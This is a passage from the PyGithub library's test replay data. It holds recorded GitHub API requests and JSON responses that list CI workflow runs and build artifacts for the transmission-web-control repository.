:23Z","workflow_run":{"id":4780545969,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"merge-file","head_sha":"d486da2a473d0516e84760d7af3452fec32c06a2"}},{"id":661233036,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMzMwMzY=","name":"build-tar","size_in_bytes":1289907,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661233036","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661233036/zip","expired":false,"created_at":"2023-04-23T21:32:52Z","updated_at":"2023-04-23T21:32:53Z","expires_at":"2023-07-22T21:32:42Z","workflow_run":{"id":4780521167,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"merge-file","head_sha":"51ecc098a5542a3f7785daff101efa07b89c5a03"}},{"id":661218941,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMTg5NDE=","name":"build-tar","size_in_bytes":1352785,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661218941","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661218941/zip","expired":false,"created_at":"2023-04-23T21:03:21Z","updated_at":"2023-04-23T21:03:25Z","expires_at":"2023-07-22T21:03:13Z","workflow_run":{"id":4780399063,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"merge-file","head_sha":"5a2edadb35bb18f43c96b491ce1acbbf8c19e556"}},{"id":661218493,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMTg0OTM=","name":"build-tar","size_in_bytes":1352631,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661218493","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661218493/zip","expired":false,"created_at":"2023-04-23T21:02:28Z","updated_at":"2023-04-23T21:02:30Z","expires_at":"2023-07-22T21:02:21Z","workflow_run":{"id":4780394014,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"14c969acad0cb5180d3a32ca7aa41a87fea9597f"}},{"id":661217210,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMTcyMTA=","name":"build-tar","size_in_bytes":1352638,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661217210","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661217210/zip","expired":false,"created_at":"2023-04-23T20:59:47Z","updated_at":"2023-04-23T20:59:48Z","expires_at":"2023-07-22T20:59:15Z","workflow_run":{"id":4780380308,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"3737d5e90ce20fee8951c2a189bba3f389797237"}},{"id":661217174,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMTcxNzQ=","name":"build-tar","size_in_bytes":1352667,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661217174","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661217174/zip","expired":false,"created_at":"2023-04-23T20:59:41Z","updated_at":"2023-04-23T20:59:42Z","expires_at":"2023-07-22T20:59:12Z","workflow_run":{"id":4780379928,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"44b5c0345575dfc92abd9fa5363ae30d1c5c0a98"}},{"id":661205036,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMDUwMzY=","name":"build-tar","size_in_bytes":1345953,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661205036","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661205036/zip","expired":false,"created_at":"2023-04-23T20:34:47Z","updated_at":"2023-04-23T20:34:48Z","expires_at":"2023-07-22T20:34:12Z","workflow_run":{"id":4780296058,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"44e75472cc0ecee0a0150bb1e8454baa15aebf3a"}},{"id":661204962,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMDQ5NjI=","name":"build-tar","size_in_bytes":1345936,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661204962","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661204962/zip","expired":false,"created_at":"2023-04-23T20:34:34Z","updated_at":"2023-04-23T20:34:35Z","expires_at":"2023-07-22T20:33:51Z","workflow_run":{"id":4780294660,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"26988230b23b4652fdcee8541b033f9fee8277e2"}},{"id":661203440,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMDM0NDA=","name":"build-tar","size_in_bytes":1345922,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661203440","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661203440/zip","expired":false,"created_at":"2023-04-23T20:32:09Z","updated_at":"2023-04-23T20:32:11Z","expires_at":"2023-07-22T20:31:59Z","workflow_run":{"id":4780285686,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"ts-refactor","head_sha":"387da75b4ddf253960136962632bd35a8e1b381b"}},{"id":661202895,"node_id":"MDg6QXJ0aWZhY3Q2NjEyMDI4OTU=","name":"build-tar","size_in_bytes":1345929,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661202895","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661202895/zip","expired":false,"created_at":"2023-04-23T20:30:56Z","updated_at":"2023-04-23T20:30:57Z","expires_at":"2023-07-22T20:30:27Z","workflow_run":{"id":4780277932,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"ts-refactor","head_sha":"c390fb7e27e68ba64b32866766799851859914e9"}},{"id":661180508,"node_id":"MDg6QXJ0aWZhY3Q2NjExODA1MDg=","name":"build-tar","size_in_bytes":1168732,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661180508","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661180508/zip","expired":false,"created_at":"2023-04-23T19:44:38Z","updated_at":"2023-04-23T19:44:39Z","expires_at":"2023-07-22T19:44:32Z","workflow_run":{"id":4780102829,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"4d0efa0b7fe8d7ca25f8bdf7b3cb39a5806a5174"}},{"id":661180003,"node_id":"MDg6QXJ0aWZhY3Q2NjExODAwMDM=","name":"build-tar","size_in_bytes":1168683,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661180003","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661180003/zip","expired":false,"created_at":"2023-04-23T19:43:18Z","updated_at":"2023-04-23T19:43:23Z","expires_at":"2023-07-22T19:42:42Z","workflow_run":{"id":4780097715,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"24de9b523995c8a0799902ca20ce2609caa400a0"}},{"id":661179884,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzk4ODQ=","name":"build-tar","size_in_bytes":1168403,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661179884","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661179884/zip","expired":false,"created_at":"2023-04-23T19:42:57Z","updated_at":"2023-04-23T19:43:01Z","expires_at":"2023-07-22T19:42:52Z","workflow_run":{"id":4780098059,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"translations_13429d9608e4c3e2deccdd06cbdb551c_zh_CN","head_sha":"511b97ca21a8cdd509da95a404835b54dd9d3729"}},{"id":661179780,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzk3ODA=","name":"build-tar","size_in_bytes":1168757,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661179780","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661179780/zip","expired":false,"created_at":"2023-04-23T19:42:41Z","updated_at":"2023-04-23T19:42:42Z","expires_at":"2023-07-22T19:41:55Z","workflow_run":{"id":4780095823,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"d8d98a41c173cb10a5ce41f92c9585b6462c3547"}},{"id":661178766,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzg3NjY=","name":"build-tar","size_in_bytes":1168736,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661178766","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661178766/zip","expired":false,"created_at":"2023-04-23T19:41:21Z","updated_at":"2023-04-23T19:41:21Z","expires_at":"2023-07-22T19:40:51Z","workflow_run":{"id":4780092449,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"ac8a66b2d924c6296f05c29d1b2df80a2dc4c22f"}},{"id":661177973,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzc5NzM=","name":"build-tar","size_in_bytes":1168698,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661177973","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661177973/zip","expired":false,"created_at":"2023-04-23T19:39:21Z","updated_at":"2023-04-23T19:39:25Z","expires_at":"2023-07-22T19:39:02Z","workflow_run":{"id":4780087257,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"420776fb9d3b8e7d53aa50d22ae788a97f41bff3"}},{"id":661176828,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzY4Mjg=","name":"build-tar","size_in_bytes":1168328,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176828","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176828/zip","expired":false,"created_at":"2023-04-23T19:36:57Z","updated_at":"2023-04-23T19:36:57Z","expires_at":"2023-07-22T19:36:52Z","workflow_run":{"id":4780079484,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"7258bfc5ae48f7223065010a66314658e12aea58"}},{"id":661176801,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzY4MDE=","name":"build-tar","size_in_bytes":1168709,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176801","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176801/zip","expired":false,"created_at":"2023-04-23T19:36:52Z","updated_at":"2023-04-23T19:36:52Z","expires_at":"2023-07-22T19:36:48Z","workflow_run":{"id":4780079406,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"7258bfc5ae48f7223065010a66314658e12aea58"}},{"id":661165714,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjU3MTQ=","name":"build-tar","size_in_bytes":1168685,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165714","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165714/zip","expired":false,"created_at":"2023-04-23T19:13:57Z","updated_at":"2023-04-23T19:14:01Z","expires_at":"2023-07-22T19:13:53Z","workflow_run":{"id":4779995347,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"70407689850cbd47720b93c494077b71b91f15b5"}},{"id":661165696,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjU2OTY=","name":"build-tar","size_in_bytes":1168338,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165696","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165696/zip","expired":false,"created_at":"2023-04-23T19:13:59Z","updated_at":"2023-04-23T19:14:00Z","expires_at":"2023-07-22T19:13:54Z","workflow_run":{"id":4779995252,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"70407689850cbd47720b93c494077b71b91f15b5"}},{"id":661164561,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjQ1NjE=","name":"build-tar","size_in_bytes":1168660,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164561","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164561/zip","expired":false,"created_at":"2023-04-23T19:12:15Z","updated_at":"2023-04-23T19:12:17Z","expires_at":"2023-07-22T19:12:01Z","workflow_run":{"id":4779986317,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"55aef0d23032b06544e4f91e18dd940a1ec41480"}},{"id":661164485,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjQ0ODU=","name":"build-tar","size_in_bytes":1168356,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164485","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164485/zip","expired":false,"created_at":"2023-04-23T19:12:01Z","updated_at":"2023-04-23T19:12:03Z","expires_at":"2023-07-22T19:11:57Z","workflow_run":{"id":4779986070,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"55aef0d23032b06544e4f91e18dd940a1ec41480"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Artifact.testGetArtifactsFromWorkflow.txt0000644000175100001660000004666414756101563026332 0ustar00runnerdockerhttps GET api.github.com None /repos/transmission-web-control/transmission-web-control/actions/runs/5138169628 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e155526e93a04d68985a933ef3aef6e0c62dccac50085d3401ce790ae3bbcbe6"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4685'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '315'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1938:07C4:1C639B2:1DA21CD:64785E26')] {"id":5138169628,"name":"CI","node_id":"WFR_kwLOJaXjpM8AAAABMkI_HA","head_branch":"master","head_sha":"03c2d3a9830af81414810cc51f6507073b7451f2","path":".github/workflows/ci.yaml","display_title":"build(deps): update pnpm to v8.6.0 (#108)","run_number":363,"event":"push","status":"completed","conclusion":"success","workflow_id":55173778,"check_suite_id":13284968091,"check_suite_node_id":"CS_kwDOJaXjpM8AAAADF9iGmw","url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628","html_url":"https://github.com/transmission-web-control/transmission-web-control/actions/runs/5138169628","pull_requests":[],"created_at":"2023-05-31T22:12:21Z","updated_at":"2023-05-31T22:13:04Z","actor":{"login":"trim21","id":13553903,"node_id":"MDQ6VXNlcjEzNTUzOTAz","avatar_url":"https://avatars.githubusercontent.com/u/13553903?v=4","gravatar_id":"","url":"https://api.github.com/users/trim21","html_url":"https://github.com/trim21","followers_url":"https://api.github.com/users/trim21/followers","following_url":"https://api.github.com/users/trim21/following{/other_user}","gists_url":"https://api.github.com/users/trim21/gists{/gist_id}","starred_url":"https://api.github.com/users/trim21/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/trim21/subscriptions","organizations_url":"https://api.github.com/users/trim21/orgs","repos_url":"https://api.github.com/users/trim21/repos","events_url":"https://api.github.com/users/trim21/events{/privacy}","received_events_url":"https://api.github.com/users/trim21/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-05-31T22:12:21Z","triggering_actor":{"login":"trim21","id":13553903,"node_id":"MDQ6VXNlcjEzNTUzOTAz","avatar_url":"https://avatars.githubusercontent.com/u/13553903?v=4","gravatar_id":"","url":"https://api.github.com/users/trim21","html_url":"https://github.com/trim21","followers_url":"https://api.github.com/users/trim21/followers","following_url":"https://api.github.com/users/trim21/following{/other_user}","gists_url":"https://api.github.com/users/trim21/gists{/gist_id}","starred_url":"https://api.github.com/users/trim21/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/trim21/subscriptions","organizations_url":"https://api.github.com/users/trim21/orgs","repos_url":"https://api.github.com/users/trim21/repos","events_url":"https://api.github.com/users/trim21/events{/privacy}","received_events_url":"https://api.github.com/users/trim21/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/jobs","logs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/logs","check_suite_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/check-suites/13284968091","artifacts_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/artifacts","cancel_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/cancel","rerun_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/workflows/55173778","head_commit":{"id":"03c2d3a9830af81414810cc51f6507073b7451f2","tree_id":"804e00d0e969fa9fdf9e17a3b502f38dce43de9c","message":"build(deps): update pnpm to v8.6.0 (#108)\n\nCo-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>","timestamp":"2023-05-31T22:12:18Z","author":{"name":"renovate[bot]","email":"29139614+renovate[bot]@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":631628708,"node_id":"R_kgDOJaXjpA","name":"transmission-web-control","full_name":"transmission-web-control/transmission-web-control","private":false,"owner":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/transmission-web-control/transmission-web-control","description":"maintained fork of ronggang/transmission-web-control","fork":false,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control","forks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/forks","keys_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/keys{/key_id}","collaborators_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/teams","hooks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/hooks","issue_events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/events{/number}","events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/events","assignees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/assignees{/user}","branches_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/branches{/branch}","tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/tags","blobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/refs{/sha}","trees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/trees{/sha}","statuses_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/statuses/{sha}","languages_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/languages","stargazers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/stargazers","contributors_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contributors","subscribers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscribers","subscription_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscription","commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/commits{/sha}","git_commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/commits{/sha}","comments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/comments{/number}","issue_comment_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/comments{/number}","contents_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contents/{+path}","compare_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/compare/{base}...{head}","merges_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/merges","archive_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/downloads","issues_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues{/number}","pulls_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/pulls{/number}","milestones_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/milestones{/number}","notifications_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/labels{/name}","releases_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/releases{/id}","deployments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/deployments"},"head_repository":{"id":631628708,"node_id":"R_kgDOJaXjpA","name":"transmission-web-control","full_name":"transmission-web-control/transmission-web-control","private":false,"owner":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/transmission-web-control/transmission-web-control","description":"maintained fork of ronggang/transmission-web-control","fork":false,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control","forks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/forks","keys_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/keys{/key_id}","collaborators_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/teams","hooks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/hooks","issue_events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/events{/number}","events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/events","assignees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/assignees{/user}","branches_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/branches{/branch}","tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/tags","blobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/refs{/sha}","trees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/trees{/sha}","statuses_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/statuses/{sha}","languages_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/languages","stargazers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/stargazers","contributors_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contributors","subscribers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscribers","subscription_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscription","commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/commits{/sha}","git_commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/commits{/sha}","comments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/comments{/number}","issue_comment_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/comments{/number}","contents_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contents/{+path}","compare_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/compare/{base}...{head}","merges_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/merges","archive_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/downloads","issues_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues{/number}","pulls_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/pulls{/number}","milestones_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/milestones{/number}","notifications_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/labels{/name}","releases_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/releases{/id}","deployments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/deployments"}} https GET api.github.com None /repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/artifacts {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ce002ffb66bfc8b6bbbfc6ccb721123ca652c60cc47b0e16434d8e11aa8b02cd"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4684'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '316'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B99C:787B:6E7358:740880:64785E26')] {"total_count":2,"artifacts":[{"id":724958104,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgxMDQ=","name":"build-tar","size_in_bytes":1596716,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104/zip","expired":false,"created_at":"2023-05-31T22:13:04Z","updated_at":"2023-05-31T22:13:06Z","expires_at":"2023-08-29T22:12:54Z","workflow_run":{"id":5138169628,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"03c2d3a9830af81414810cc51f6507073b7451f2"}},{"id":724958105,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgxMDU=","name":"build-zip","size_in_bytes":1887335,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958105","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958105/zip","expired":false,"created_at":"2023-05-31T22:13:04Z","updated_at":"2023-05-31T22:13:06Z","expires_at":"2023-08-29T22:12:55Z","workflow_run":{"id":5138169628,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"03c